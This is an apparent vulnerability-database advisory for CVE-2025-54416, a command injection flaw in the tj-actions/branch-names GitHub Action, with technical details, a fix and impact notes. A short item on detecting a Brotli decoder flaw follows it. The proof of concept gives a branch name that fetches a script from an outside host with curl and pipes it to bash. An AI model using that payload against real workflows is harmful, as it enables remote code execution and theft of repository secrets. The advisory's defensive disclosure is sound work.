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CVE-2025-54416

NVDCIRCLENISA

EUVD-2025-22774 · Published Jul 25, 2025

tj-actions/branch-names has a Command Injection Vulnerability

Overview

A critical vulnerability has been identified in the tj-actions/branch-names GitHub Action workflow which allows arbitrary command execution in downstream workflows. This issue arises due to inconsistent input sanitization and unescaped output, enabling malicious actors to exploit specially crafted branch names or tags. While internal sanitization mechanisms have been implemented, the action outputs remain vulnerable, exposing consuming workflows to significant security risks.

Technical Details

The vulnerability stems from the unsafe use of the eval printf "%s" pattern within the action's codebase. Although initial sanitization using printf "%q" properly escapes untrusted input, subsequent unescaping via eval printf "%s" reintroduces command injection risks. This unsafe pattern is demonstrated in the following code snippet:

echo "base_ref_branch=$(eval printf "%s" "$BASE_REF")" >> "$GITHUB_OUTPUT"
echo "head_ref_branch=$(eval printf "%s" "$HEAD_REF")" >> "$GITHUB_OUTPUT"
echo "ref_branch=$(eval printf "%s" "$REF_BRANCH")" >> "$GITHUB_OUTPUT"

This approach allows attackers to inject arbitrary commands into workflows consuming these outputs, as shown in the Proof-of-Concept (PoC) below.

Proof-of-Concept (PoC)
  1. Create a branch with the name $(curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash).
  2. Trigger the vulnerable workflow by opening a pull request into the target repository.
  3. Observe arbitrary code execution in the workflow logs.

Example output:

Running on a pull request branch.
Run echo "Running on pr: $({curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)"
  echo "Running on pr: $({curl,-sSfL,www.naturl.link/NNT652}${IFS}|${IFS}bash)"
  shell: /usr/bin/bash -e {0}
Running on pr: === PoC script executed successfully ===
Runner user: runner
Impact

This vulnerability enables arbitrary command execution in repositories consuming outputs from tj-actions/branch-names. The severity of the impact depends on the permissions granted to the GITHUB_TOKEN and the context of the triggering event. Potential consequences include:

  • Theft of sensitive secrets stored in the repository.
  • Unauthorized write access to the repository.
  • Compromise of the repository's integrity and security.
Mitigation and Resolution

To address this vulnerability, the unsafe eval printf "%s" pattern must be replaced with safer alternatives. Specifically, direct printf calls can achieve the same functionality without unescaping shell-unsafe characters. Below is the recommended fix:

printf "base_ref_branch=%s\n" "$BASE_REF" >> "$GITHUB_OUTPUT"
printf "head_ref_branch=%s\n" "$HEAD_REF" >> "$GITHUB_OUTPUT"
printf "ref_branch=%s\n" "$REF_BRANCH" >> "$GITHUB_OUTPUT"
printf "tag=%s\n" "$TAG" >> "$GITHUB_OUTPUT"

This approach ensures that all outputs remain properly escaped and safe for downstream consumption.

Recommendations
  1. Immediate Action: Developers using the tj-actions/branch-names workflow should update their workflows to latest major version v9.
References

Technologies

Tj-Actions Branch-Names

Weaknesses

CWE-77

CVSS scores

  • v3.19.1CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L

MITRE ATT&CK

Inferred

Where this vulnerability fits in an attack

Initial Access

References

Potentially impacted assets

See if this affects your attack surface

Latest trending attack

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Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)

This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it. Why a second control CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli ("br") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution. Any server that decompresses request bodies sent with "Content-Encoding: br" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library. The flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support. What this control checks Patrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service. How to read the result Potentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside. This check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification. Affected and fixed versions Google Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution. Recommendations Update every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library. Reduce the exposure until the update is deployed. Reject requests with "Content-Encoding: br" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as "gzip, br". On Envoy and Istio, disable request decompression for Brotli. Review outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.

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